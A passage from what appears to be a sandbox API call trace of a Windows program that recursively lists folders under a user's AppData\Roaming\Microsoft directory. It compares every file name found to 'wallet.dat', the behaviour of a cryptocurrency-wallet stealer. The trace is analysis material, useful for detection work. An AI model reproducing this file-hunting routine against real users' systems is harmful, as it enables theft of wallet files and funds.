returned="C:\\Users\\kEecfMwgj\\AppData\\Roaming\\Microsoft\\SystemCertificates" [0266.380] StrCpyW (in: psz1=0x706a60, psz2="C:\\Users\\kEecfMwgj\\AppData\\Roaming\\Microsoft\\SystemCertificates" | out: psz1="C:\\Users\\kEecfMwgj\\AppData\\Roaming\\Microsoft\\SystemCertificates") returned="C:\\Users\\kEecfMwgj\\AppData\\Roaming\\Microsoft\\SystemCertificates" [0266.380] lstrlenW (lpString="\\*") returned 2 [0266.380] lstrlenW (lpString="C:\\Users\\kEecfMwgj\\AppData\\Roaming\\Microsoft\\SystemCertificates") returned 63 [0266.380] LocalAlloc (uFlags=0x40, uBytes=0x182) returned 0x706de8 [0266.380] FindFirstFileW (in: lpFileName="C:\\Users\\kEecfMwgj\\AppData\\Roaming\\Microsoft\\SystemCertificates\\*" (normalized: "c:\\users\\keecfmwgj\\appdata\\roaming\\microsoft\\systemcertificates\\*"), lpFindFileData=0x24f2e8 | out: lpFindFileData=0x24f2e8*(dwFileAttributes=0x2014, ftCreationTime.dwLowDateTime=0x795b3cd0, ftCreationTime.dwHighDateTime=0x1d70509, ftLastAccessTime.dwLowDateTime=0x795b3cd0, ftLastAccessTime.dwHighDateTime=0x1d70509, ftLastWriteTime.dwLowDateTime=0x96779c3, ftLastWriteTime.dwHighDateTime=0x1cb8927, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x6f2fe8, dwReserved1=0x104, cFileName=".", cAlternateFileName="")) returned 0x6ca540 [0266.381] lstrcmpW (lpString1=".", lpString2="..") returned -1 [0266.381] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0266.381] lstrcmpW (lpString1=".", lpString2="wallet.dat") returned -1 [0266.381] FindNextFileW (in: hFindFile=0x6ca540, lpFindFileData=0x24f2e8 | out: lpFindFileData=0x24f2e8*(dwFileAttributes=0x2014, ftCreationTime.dwLowDateTime=0x795b3cd0, ftCreationTime.dwHighDateTime=0x1d70509, ftLastAccessTime.dwLowDateTime=0x795b3cd0, ftLastAccessTime.dwHighDateTime=0x1d70509, ftLastWriteTime.dwLowDateTime=0x96779c3, ftLastWriteTime.dwHighDateTime=0x1cb8927, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x6f2fe8, dwReserved1=0x104, cFileName="..", cAlternateFileName="")) returned 1 [0266.381] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0266.381] lstrcmpW (lpString1="..", lpString2="wallet.dat") returned -1 [0266.381] FindNextFileW (in: hFindFile=0x6ca540, lpFindFileData=0x24f2e8 | out: lpFindFileData=0x24f2e8*(dwFileAttributes=0x2014, ftCreationTime.dwLowDateTime=0x795b3cd0, ftCreationTime.dwHighDateTime=0x1d70509, ftLastAccessTime.dwLowDateTime=0x795d9e30, ftLastAccessTime.dwHighDateTime=0x1d70509, ftLastWriteTime.dwLowDateTime=0x96779c3, ftLastWriteTime.dwHighDateTime=0x1cb8927, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x6f2fe8, dwReserved1=0x104, cFileName="My", cAlternateFileName="")) returned 1 [0266.381] lstrcmpW (lpString1="My", lpString2="..") returned 1 [0266.381] lstrcmpW (lpString1="My", lpString2=".") returned 1 [0266.381] LocalAlloc (uFlags=0x40, uBytes=0xa28) returned 0x6f3a18 [0266.381] PathCombineW (in: pszDest=0x6f3a18, pszDir="C:\\Users\\kEecfMwgj\\AppData\\Roaming\\Microsoft\\SystemCertificates", pszFile="My" | out: pszDest="C:\\Users\\kEecfMwgj\\AppData\\Roaming\\Microsoft\\SystemCertificates\\My") returned="C:\\Users\\kEecfMwgj\\AppData\\Roaming\\Microsoft\\SystemCertificates\\My" [0266.381] LocalFree (hMem=0x6f3a18) returned 0x0 [0266.381] FindNextFileW (in: hFindFile=0x6ca540, lpFindFileData=0x24f2e8 | out: lpFindFileData=0x24f2e8*(dwFileAttributes=0x2014, ftCreationTime.dwLowDateTime=0x795b3cd0, ftCreationTime.dwHighDateTime=0x1d70509, ftLastAccessTime.dwLowDateTime=0x795d9e30, ftLastAccessTime.dwHighDateTime=0x1d70509, ftLastWriteTime.dwLowDateTime=0x96779c3, ftLastWriteTime.dwHighDateTime=0x1cb8927, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x6f2fe8, dwReserved1=0x104, cFileName="My", cAlternateFileName="")) returned 0 [0266.382] LocalFree (hMem=0x6f50e8) returned 0x0 [0266.382] LocalFree (hMem=0x706de8) returned 0x0 [0266.382] FindClose (in: hFindFile=0x6ca540 | out: hFindFile=0x6ca540) returned 1 [0266.382] LocalFree (hMem=0x6f2fe8) returned 0x0 [0266.382] FindNextFileW (in: hFindFile=0x6ca4c0, lpFindFileData=0x24f5a0 | out: lpFindFileData=0x24f5a0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x21509730, ftCreationTime.dwHighDateTime=0x1d70912, ftLastAccessTime.dwLowDateTime=0x3e1d8b20, ftLastAccessTime.dwHighDateTime=0x1d7b065, ftLastWriteTime.dwLowDateTime=0x3e1d8b20, ftLastWriteTime.dwHighDateTime=0x1d7b065, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x6f15b0, dwReserved1=0x104, cFileName="Templates", cAlternateFileName="TEMPLA~1")) returned 1 [0266.382] lstrcmpW (lpString1="Templates", lpString2="..") returned 1 [0266.383] lstrcmpW (lpString1="Templates", lpString2=".") returned 1 [0266.383] LocalAlloc (uFlags=0x40, uBytes=0xa28) returned 0x6f2fe8 [0266.383] PathCombineW (in: pszDest=0x6f2fe8, pszDir="C:\\Users\\kEecfMwgj\\AppData\\Roaming\\Microsoft", pszFile="Templates" | out: pszDest="C:\\Users\\kEecfMwgj\\AppData\\Roaming\\Microsoft\\Templates") returned="C:\\Users\\kEecfMwgj\\AppData\\Roaming\\Microsoft\\Templates" [0266.383] LocalAlloc (uFlags=0x40, uBytes=0x20a) returned 0x6f50e8 [0266.383] LocalAlloc (uFlags=0x40, uBytes=0x218) returned 0x706a60 [0266.383] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x6f50e8, csidl=26, fCreate=0 | out: pszPath="C:\\Users\\kEecfMwgj\\AppData\\Roaming") returned 1 [0266.383] lstrcmpW (lpString1="C:\\Users\\kEecfMwgj\\AppData\\Roaming\\Microsoft\\Templates", lpString2="C:\\Users\\kEecfMwgj\\AppData\\Roaming") returned 1 [0266.383] StrCpyW (in: psz1=0x6f50e8, psz2="C:\\Users\\kEecfMwgj\\AppData\\Roaming\\Microsoft\\Templates" | out: psz1="C:\\Users\\kEecfMwgj\\AppData\\Roaming\\Microsoft\\Templates") returned="C:\\Users\\kEecfMwgj\\AppData\\Roaming\\Microsoft\\Templates" [0266.383] StrCpyW (in: psz1=0x706a60, psz2="C:\\Users\\kEecfMwgj\\AppData\\Roaming\\Microsoft\\Templates" | out: psz1="C:\\Users\\kEecfMwgj\\AppData\\Roaming\\Microsoft\\Templates") returned="C:\\Users\\kEecfMwgj\\AppData\\Roaming\\Microsoft\\Templates" [0266.383] lstrlenW (lpString="\\*") returned 2 [0266.383] lstrlenW (lpString="C:\\Users\\kEecfMwgj\\AppData\\Roaming\\Microsoft\\Templates") returned 54 [0266.383] LocalAlloc (uFlags=0x40, uBytes=0x170) returned 0x706de8 [0266.383] FindFirstFileW (in: lpFileName="C:\\Users\\kEecfMwgj\\AppData\\Roaming\\Microsoft\\Templates\\*" (normalized: "c:\\users\\keecfmwgj\\appdata\\roaming\\microsoft\\templates\\*"), lpFindFileData=0x24f2e8 | out: lpFindFileData=0x24f2e8*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x21509730, ftCreationTime.dwHighDateTime=0x1d70912, ftLastAccessTime.dwLowDateTime=0x3e1d8b20, ftLastAccessTime.dwHighDateTime=0x1d7b065, ftLastWriteTime.dwLowDateTime=0x3e1d8b20, ftLastWriteTime.dwHighDateTime=0x1d7b065, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x6f2fe8, dwReserved1=0x104, cFileName=".", cAlternateFileName="")) returned 0x6ca540 [0266.384] lstrcmpW (lpString1=".", lpString2="..") returned -1 [0266.384] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0266.384] lstrcmpW (lpString1=".", lpString2="wallet.dat") returned -1 [0266.384] FindNextFileW (in: hFindFile=0x6ca540, lpFindFileData=0x24f2e8 | out: lpFindFileData=0x24f2e8*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x21509730, ftCreationTime.dwHighDateTime=0x1d70912, ftLastAccessTime.dwLowDateTime=0x3e1d8b20, ftLastAccessTime.dwHighDateTime=0x1d7b065, ftLastWriteTime.dwLowDateTime=0x3e1d8b20, ftLastWriteTime.dwHighDateTime=0x1d7b065, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x6f2fe8, dwReserved1=0x104, cFileName="..", cAlternateFileName="")) returned 1 [0266.384] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0266.384] lstrcmpW (lpString1="..", lpString2="wallet.dat") returned -1 [0266.384] FindNextFileW (in: hFindFile=0x6ca540, lpFindFileData=0x24f2e8 | out: lpFindFileData=0x24f2e8*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x2b354e30, ftCreationTime.dwHighDateTime=0x1d70912, ftLastAccessTime.dwLowDateTime=0x2b354e30, ftLastAccessTime.dwHighDateTime=0x1d70912, ftLastWriteTime.dwLowDateTime=0x2b4aba90, ftLastWriteTime.dwHighDateTime=0x1d70912, nFileSizeHigh=0x0, nFileSizeLow=0x4615, dwReserved0=0x6f2fe8, dwReserved1=0x104, cFileName="Normal.dotm", cAlternateFileName="NORMAL~1.DOT")) returned 1 [0266.384] lstrcmpW (lpString1="Normal.dotm", lpString2="wallet.dat") returned -1 [0266.384] FindNextFileW (in: hFindFile=0x6ca540, lpFindFileData=0x24f2e8 | out: lpFindFileData=0x24f2e8*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x2b354e30, ftCreationTime.dwHighDateTime=0x1d70912, ftLastAccessTime.dwLowDateTime=0x2b354e30, ftLastAccessTime.dwHighDateTime=0x1d70912, ftLastWriteTime.dwLowDateTime=0x2b4aba90, ftLastWriteTime.dwHighDateTime=0x1d70912, nFileSizeHigh=0x0, nFileSizeLow=0x4615, dwReserved0=0x6f2fe8, dwReserved1=0x104, cFileName="Normal.dotm", cAlternateFileName="NORMAL~1.DOT")) returned 0 [0266.384] LocalFree (hMem=0x6f50e8) returned 0x0 [0266.385] LocalFree (hMem=0x706de8) returned 0x0 [0266.385] FindClose (in: hFindFile=0x6ca540 | out: hFindFile=0x6ca540) returned 1 [0266.385] LocalFree (hMem=0x6f2fe8) returned 0x0 [0266.385] FindNextFileW (in: hFindFile=0x6ca4c0, lpFindFileData=0x24f5a0 | out: lpFindFileData=0x24f5a0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x426ba7c0, ftCreationTime.dwHighDateTime=0x1d7b065, ftLastAccessTime.dwLowDateTime=0x426ba7c0, ftLastAccessTime.dwHighDateTime=0x1d7b065, ftLastWriteTime.dwLowDateTime=0x426ba7c0, ftLastWriteTime.dwHighDateTime=0x1d7b065, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x6f15b0, dwReserved1=0x104, cFileName="UProof", cAlternateFileName="")) returned 1 [0266.385] lstrcmpW (lpString1="UProof", lpString2="..") returned 1 [0266.385] lstrcmpW (lpString1="UProof", lpString2=".") returned 1 [0266.385] LocalAlloc (uFlags=0x40, uBytes=0xa28) returned 0x6f2fe8 [0266.385] PathCombineW (in: pszDest=0x6f2fe8, pszDir="C:\\Users\\kEecfMwgj\\AppData\\Roaming\\Microsoft", pszFile="UProof" | out: pszDest="C:\\Users\\kEecfMwgj\\AppData\\Roaming\\Microsoft\\UProof") returned="C:\\Users\\kEecfMwgj\\AppData\\Roaming\\Microsoft\\UProof" [0266.386] LocalAlloc (uFlags=0x40, uBytes=0x20a) returned 0x6f50e8 [0266.386] LocalAlloc (uFlags=0x40, uBytes=0x218) returned 0x706a60 [0266.386] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x6f50e8, csidl=26, fCreate=0 | out: pszPath="C:\\Users\\kEecfMwgj\\AppData\\Roaming") returned 1 [0266.386] lstrcmpW (lpString1="C:\\Users\\kEecfMwgj\\AppData\\Roaming\\Microsoft\\UProof", lpString2="C:\\Users\\kEecfMwgj\\AppData\\Roaming") returned 1 [0266.386] StrCpyW (in: psz1=0x6f50e8, psz2="C:\\Users\\kEecfMwgj\\AppData\\Roaming\\Microsoft\\UProof" | out: psz1="C:\\Users\\kEecfMwgj\\AppData\\Roaming\\Microsoft\\UProof") returned="C:\\Users\\kEecfMwgj\\AppData\\Roaming\\Microsoft\\UProof" [0266.386] StrCpyW (in: psz1=0x706a60, psz2="C:\\Users\\kEecfMwgj\\AppData\\Roaming\\Microsoft\\UProof" | out: psz1="C:\\Users\\kEecfMwgj\\AppData\\Roaming\\Microsoft\\UProof") returned="C:\\Users\\kEecfMwgj\\AppData\\Roaming\\Microsoft\\UProof" [0266.386] lstrlenW (lpString="\\*") returned 2 [0266.386] lstrlenW (lpString="C:\\Users\\kEecfMwgj\\AppData\\Roaming\\Microsoft\\UProof") returned 51 [0266.386] LocalAlloc (uFlags=0x40, uBytes=0x16a) returned 0x706de8 [0266.387] FindFirstFileW (in: lpFileName="C:\\Users\\kEecfMwgj\\AppData\\Roaming\\Microsoft\\UProof\\*" (normalized: "c:\\users\\keecfmwgj\\appdata\\roaming\\microsoft\\uproof\\*"), lpFindFileData=0x24f2e8 | out: lpFindFileData=0x24f2e8*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x426ba7c0, ftCreationTime.dwHighDateTime=0x1d7b065, ftLastAccessTime.dwLowDateTime=0x426ba7c0, ftLastAccessTime.dwHighDateTime=0x1d7b065, ftLastWriteTime.dwLowDateTime=0x426ba7c0, ftLastWriteTime.dwHighDateTime=0x1d7b065, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x6f2fe8, dwReserved1=0x104, cFileName=".", cAlternateFileName="")) returned 0x6ca540 [0266.387] lstrcmpW (lpString1=".", lpString2="..") returned -1 [0266.387] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0266.387] lstrcmpW (lpString1=".", lpString2="wallet.dat") returned -1 [0266.387] FindNextFileW (in: hFindFile=0x6ca540, lpFindFileData=0x24f2e8 | out: lpFindFileData=0x24f2e8*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x426ba7c0, ftCreationTime.dwHighDateTime=0x1d7b065, ftLastAccessTime.dwLowDateTime=0x426ba7c0, ftLastAccessTime.dwHighDateTime=0x1d7b065, ftLastWriteTime.dwLowDateTime=0x426ba7c0, ftLastWriteTime.dwHighDateTime=0x1d7b065, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x6f2fe8, dwReserved1=0x104, cFileName="..", cAlternateFileName="")) returned 1 [0266.387] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0266.387] lstrcmpW (lpString1="..", lpString2="wallet.dat") returned -1 [0266.387] FindNextFileW (in: hFindFile=0x6ca540, lpFindFileData=0x24f2e8 | out: lpFindFileData=0x24f2e8*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x426ba7c0, ftCreationTime.dwHighDateTime=0x1d7b065, ftLastAccessTime.dwLowDateTime=0x426ba7c0, ftLastAccessTime.dwHighDateTime=0x1d7b065, ftLastWriteTime.dwLowDateTime=0x426e0920, ftLastWriteTime.dwHighDateTime=0x1d7b065, nFileSizeHigh=0x0, nFileSizeLow=0x18, dwReserved0=0x6f2fe8, dwReserved1=0x104, cFileName="CUSTOM.DIC", cAlternateFileName="")) returned 1 [0266.387] lstrcmpW (lpString1="CUSTOM.DIC", lpString2="wallet.dat") returned -1 [0266.387] FindNextFileW (in: hFindFile=0x6ca540, lpFindFileData=0x24f2e8 | out: lpFindFileData=0x24f2e8*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x426ba7c0, ftCreationTime.dwHighDateTime=0x1d7b065, ftLastAccessTime.dwLowDateTime=0x426ba7c0, ftLastAccessTime.dwHighDateTime=0x1d7b065, ftLastWriteTime.dwLowDateTime=0x426e0920, ftLastWriteTime.dwHighDateTime=0x1d7b065, nFileSizeHigh=0x0, nFileSizeLow=0x18, dwReserved0=0x6f2fe8, dwReserved1=0x104, cFileName="CUSTOM.DIC", cAlternateFileName="")) returned 0 [0266.388] LocalFree (hMem=0x6f50e8) returned 0x0 [0266.388] LocalFree (hMem=0x706de8) returned 0x0 [0266.388] FindClose (in: hFindFile=0x6ca540 | out: hFindFile=0x6ca540) returned 1 [0266.388] LocalFree (hMem=0x6f2fe8) returned 0x0 [0266.388] FindNextFileW (in: hFindFile=0x6ca4c0, lpFindFileData=0x24f5a0 | out: lpFindFileData=0x24f5a0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x794f55f0, ftCreationTime.dwHighDateTime=0x1d70509, ftLastAccessTime.dwLowDateTime=0x795b3cd0, ftLastAccessTime.dwHighDateTime=0x1d70509, ftLastWriteTime.dwLowDateTime=0xf96b9c4c, ftLastWriteTime.dwHighDateTime=0x1cb8926, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x6f15b0, dwReserved1=0x104, cFileName="Windows", cAlternateFileName="")) returned 1 [0266.388] lstrcmpW (lpString1="Windows", lpString2="..") returned 1 [0266.388] lstrcmpW (lpString1="Windows", lpString2=".") returned 1 [0266.388] LocalAlloc (uFlags=0x40, uBytes=0xa28) returned 0x6f2fe8 [0266.388] PathCombineW (in: pszDest=0x6f2fe8, pszDir="C:\\Users\\kEecfMwgj\\AppData\\Roaming\\Microsoft", pszFile="Windows" | out: pszDest="C:\\Users\\kEecfMwgj\\AppData\\Roaming\\Microsoft\\Windows") returned="C:\\Users\\kEecfMwgj\\AppData\\Roaming\\Microsoft\\Windows" [0266.389] LocalAlloc (uFlags=0x40, uBytes=0x20a) returned 0x6f50e8 [0266.389] LocalAlloc (uFlags=0x40, uBytes=0x218) returned 0x706a60 [0266.389] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x6f50e8, csidl=26, fCreate=0 | out: pszPath="C:\\Users\\kEecfMwgj\\AppData\\Roaming") returned 1 [0266.389] lstrcmpW (lpString1="C:\\Users\\kEecfMwgj\\AppData\\Roaming\\Microsoft\\Windows", lpString2="C:\\Users\\kEecfMwgj\\AppData\\Roaming") returned 1 [0266.389] StrCpyW (in: psz1=0x6f50e8, psz2="C:\\Users\\kEecfMwgj\\AppData\\Roaming\\Microsoft\\Windows" | out: psz1="C:\\Users\\kEecfMwgj\\AppData\\Roaming\\Microsoft\\Windows") returned="C:\\Users\\kEecfMwgj\\AppData\\Roaming\\Microsoft\\Windows" [0266.389] StrCpyW (in: psz1=0x706a60, psz2="C:\\Users\\kEecfMwgj\\AppData\\Roaming\\Microsoft\\Windows" | out: psz1="C:\\Users\\kEecfMwgj\\AppData\\Roaming\\Microsoft\\Windows") returned="C:\\Users\\kEecfMwgj\\AppData\\Roaming\\Microsoft\\Windows" [0266.389] lstrlenW (lpString="\\*") returned 2 [0266.389] lstrlenW (lpString="C:\\Users\\kEecfMwgj\\AppData\\Roaming\\Microsoft\\Windows") returned 52 [0266.389] LocalAlloc (uFlags=0x40, uBytes=0x16c) returned 0x706de8 [0266.389] FindFirstFileW (in: lpFileName="C:\\Users\\kEecfMwgj\\AppData\\Roaming\\Microsoft\\Windows\\*" (normalized: "c:\\users\\keecfmwgj\\appdata\\roaming\\microsoft\\windows\\*"), lpFindFileData=0x24f2e8 | out: lpFindFileData=0x24f2e8*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x794f55f0, ftCreationTime.dwHighDateTime=0x1d70509, ftLastAccessTime.dwLowDateTime=0x795b3cd0, ftLastAccessTime.dwHighDateTime=0x1d70509, ftLastWriteTime.dwLowDateTime=0xf96b9c4c, ftLastWriteTime.dwHighDateTime=0x1cb8926, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x6f2fe8, dwReserved1=0x104, cFileName=".", cAlternateFileName="")) returned 0x6ca540 [0266.390] lstrcmpW (lpString1=".", lpString2="..") returned -1 [0266.390] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0266.390] lstrcmpW (lpString1=".", lpString2="wallet.dat") returned -1 [0266.390] FindNextFileW (in: hFindFile=0x6ca540, lpFindFileData=0x24f2e8 | out: lpFindFileData=0x24f2e8*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x794f55f0, ftCreationTime.dwHighDateTime=0x1d70509, ftLastAccessTime.dwLowDateTime=0x795b3cd0, ftLastAccessTime.dwHighDateTime=0x1d70509, ftLastWriteTime.dwLowDateTime=0xf96b9c4c, ftLastWriteTime.dwHighDateTime=0x1cb8926, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x6f2fe8, dwReserved1=0x104, cFileName="..", cAlternateFileName="")) returned 1 [0266.390] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0266.390] lstrcmpW (lpString1="..", lpString2="wallet.dat") returned -1 [0266.390] FindNextFileW (in: hFindFile=0x6ca540, lpFindFileData=0x24f2e8 | out: lpFindFileData=0x24f2e8*(dwFileAttributes=0x2016, ftCreationTime.dwLowDateTime=0x795b3cd0, ftCreationTime.dwHighDateTime=0x1d70509, ftLastAccessTime.dwLowDateTime=0x76abed20, ftLastAccessTime.dwHighDateTime=0x1d7b064, ftLastWriteTime.dwLowDateTime=0x76abed20, ftLastWriteTime.dwHighDateTime=0x1d7b064, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x6f2fe8, dwReserved1=0x104, cFileName="Cookies", cAlternateFileName="")) returned 1 [0266.390] lstrcmpW (lpString1="Cookies", lpString2="..") returned 1 [0266.390] lstrcmpW (lpString1="Cookies", lpString2=".") returned 1 [0266.390] LocalAlloc (uFlags=0x40, uBytes=0xa28) returned 0x6f3a18 [0266.390] PathCombineW (in: pszDest=0x6f3a18, pszDir="C:\\Users\\kEecfMwgj\\AppData\\Roaming\\Microsoft\\Windows", pszFile="Cookies" | out: pszDest="C:\\Users\\kEecfMwgj\\AppData\\Roaming\\Microsoft\\Windows\\Cookies") returned="C:\\Users\\kEecfMwgj\\AppData\\Roaming\\Microsoft\\Windows\\Cookies" [0266.390] LocalFree (hMem=0x6f3a18) returned 0x0 [0266.390] FindNextFileW (in: hFindFile=0x6ca540, lpFindFileData=0x24f2e8 | out: lpFindFileData=0x24f2e8*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x7958db70, ftCreationTime.dwHighDateTime=0x1d70509, ftLastAccessTime.dwLowDateTime=0x7958db70, ftLastAccessTime.dwHighDateTime=0x1d70509, ftLastWriteTime.dwLowDateTime=0xedd0e6f6, ftLastWriteTime.dwHighDateTime=0x1cb8926, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x6f2fe8, dwReserved1=0x104, cFileName="IECompatCache", cAlternateFileName="IECOMP~1")) returned 1 [0266.390] lstrcmpW (lpString1="IECompatCache", lpString2="..") returned 1 [0266.390] lstrcmpW (lpString1="IECompatCache", lpString2=".") returned 1 [0266.390] LocalAlloc (uFlags=0x40, uBytes=0xa28) returned 0x6f3a18 [0266.391] PathCombineW (in: pszDest=0x6f3a18, pszDir="C:\\Users\\kEecfMwgj\\AppData\\Roaming\\Microsoft\\Windows", pszFile="IECompatCache" | out: pszDest="C:\\Users\\kEecfMwgj\\AppData\\Roaming\\Microsoft\\Windows\\IECompatCache") returned="C:\\Users\\kEecfMwgj\\AppData\\Roaming\\Microsoft\\Windows\\IECompatCache" [0266.391] LocalFree (hMem=0x6f3a18) returned 0x0 [0266.391] FindNextFileW (in: hFindFile=0x6ca540, lpFindFileData=0x24f2e8 | out: lpFindFileData=0x24f2e8*(dwFileAttributes=0x2016, ftCreationTime.dwLowDateTime=0x7958db70, ftCreationTime.dwHighDateTime=0x1d70509, ftLastAccessTime.dwLowDateTime=0x799de350, ftLastAccessTime.dwHighDateTime=0x1d70509, ftLastWriteTime.dwLowDateTime=0xfe9256a4, ftLastWriteTime.dwHighDateTime=0x1cb8926, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x6f2fe8, dwReserved1=0x104, cFileName="IETldCache", cAlternateFileName="IETLDC~1")) returned 1 [0266.391] lstrcmpW (lpString1="IETldCache", lpString2="..") returned 1 [0266.391] lstrcmpW (lpString1="IETldCache", lpString2=".") returned 1 [0266.391] LocalAlloc (uFlags=0x40, uBytes=0xa28) returned 0x6f3a18 [0266.391] PathCombineW (in: pszDest=0x6f3a18, pszDir="C:\\Users\\kEecfMwgj\\AppData\\Roaming\\Microsoft\\Windows", pszFile="IETldCache" | out: pszDest="C:\\Users\\kEecfMwgj\\AppData\\Roaming\\Microsoft\\Windows\\IETldCache") returned="C:\\Users\\kEecfMwgj\\AppData\\Roaming\\Microsoft\\Windows\\IETldCache" [0266.391] LocalFree (hMem=0x6f3a18) returned 0x0 [0266.391] FindNextFileW (in: hFindFile=0x6ca540, lpFindFileData=0x24f2e8 | out: lpFindFileData=0x24f2e8*(dwFileAttributes=0x2011, ftCreationTime.dwLowDateTime=0x7958db70, ftCreationTime.dwHighDateTime=0x1d70509, ftLastAccessTime.dwLowDateTime=0x7e87ab80, ftLastAccessTime.dwHighDateTime=0x1d70509, ftLastWriteTime.dwLowDateTime=0x7e87ab80, ftLastWriteTime.dwHighDateTime=0x1d70509, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x6f2fe8, dwReserved1=0x104, cFileName="Libraries", cAlternateFileName="LIBRAR~1")) returned 1 [0266.391] lstrcmpW (lpString1="Libraries", lpString2="..") returned 1 [0266.391] lstrcmpW (lpString1="Libraries", lpString2=".") returned 1 [0266.392] LocalAlloc (uFlags=0x40, uBytes=0xa28) returned 0x6f3a18 [0266.392] PathCombineW (in: pszDest=0x6f3a18, pszDir="C:\\Users\\kEecfMwgj\\AppData\\Roaming\\Microsoft\\Windows", pszFile="Libraries" | out: pszDest="C:\\Users\\kEecfMwgj\\AppData\\Roaming\\Microsoft\\Windows\\Libraries") returned="C:\\Users\\kEecfMwgj\\AppData\\Roaming\\Microsoft\\Windows\\Libraries" [0266.392] LocalFree (hMem=0x6f3a18) returned 0x0 [0266.392] FindNextFileW (in: hFindFile=0x6ca540, lpFindFileData=0x24f2e8 | out: lpFindFileData=0x24f2e8*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x79567a10, ftCreationTime.dwHighDateTime=0x1d70509, ftLastAccessTime.dwLowDateTime=0x79567a10, ftLastAccessTime.dwHighDateTime=0x1d70509, ftLastWriteTime.dwLowDateTime=0xaeeef71c, ftLastWriteTime.dwHighDateTime=0x1ca042b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x6f2fe8, dwReserved1=0x104, cFileName="Network Shortcuts", cAlternateFileName="NETWOR~1")) returned 1 [0266.392] lstrcmpW (lpString1="Network Shortcuts", lpString2="..") returned 1 [0266.392] lstrcmpW (lpString1="Network Shortcuts", lpString2=".") returned 1 [0266.392] LocalAlloc (uFlags=0x40, uBytes=0xa28) returned 0x6f3a18 [0266.392] PathCombineW (in: pszDest=0x6f3a18, pszDir="C:\\Users\\kEecfMwgj\\AppData\\Roaming\\Microsoft\\Windows", pszFile="Network Shortcuts" | out: pszDest="C:\\Users\\kEecfMwgj\\AppData\\Roaming\\Microsoft\\Windows\\Network Shortcuts") returned="C:\\Users\\kEecfMwgj\\AppData\\Roaming\\Microsoft\\Windows\\Network Shortcuts" [0266.392] LocalFree (hMem=0x6f3a18) returned 0x0 [0266.393] FindNextFileW (in: hFindFile=0x6ca540, lpFindFileData=0x24f2e8 | out: lpFindFileData=0x24f2e8*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x79567a10, ftCreationTime.dwHighDateTime=0x1d70509, ftLastAccessTime.dwLowDateTime=0x79567a10, ftLastAccessTime.dwHighDateTime=0x1d70509, ftLastWriteTime.dwLowDateTime=0xb9c40b55, ftLastWriteTime.dwHighDateTime=0x1ca042b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x6f2fe8, dwReserved1=0x104, cFileName="Printer Shortcuts", cAlternateFileName="PRINTE~1")) returned 1 [0266.393] lstrcmpW (lpString1="Printer Shortcuts", lpString2="..") returned 1 [0266.393] lstrcmpW (lpString1="Printer Shortcuts", lpString2=".") returned 1 [0266.393] LocalAlloc (uFlags=0x40, uBytes=0xa28) returned 0x6f3a18 [0266.393] PathCombineW (in: pszDest=0x6f3a18, pszDir="C:\\Users\\kEecfMwgj\\AppData\\Roaming\\Microsoft\\Windows", pszFile="Printer Shortcuts" | out: pszDest="C:\\Users\\kEecfMwgj\\AppData\\Roaming\\Microsoft\\Windows\\Printer Shortcuts") returned="C:\\Users\\kEecfMwgj\\AppData\\Roaming\\Microsoft\\Windows\\Printer Shortcuts" [0266.393] LocalFree (hMem=0x6f3a18) returned 0x0 [0266.393] FindNextFileW (in: hFindFile=0x6ca540, lpFindFileData=0x24f2e8 | out: lpFindFileData=0x24f2e8*(dwFileAttributes=0x2016, ftCreationTime.dwLowDateTime=0x79567a10, ftCreationTime.dwHighDateTime=0x1d70509, ftLastAccessTime.dwLowDateTime=0x75cc2be0, ftLastAccessTime.dwHighDateTime=0x1d7b064, ftLastWriteTime.dwLowDateTime=0x75cc2be0, ftLastWriteTime.dwHighDateTime=0x1d7b064, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x6f2fe8, dwReserved1=0x104, 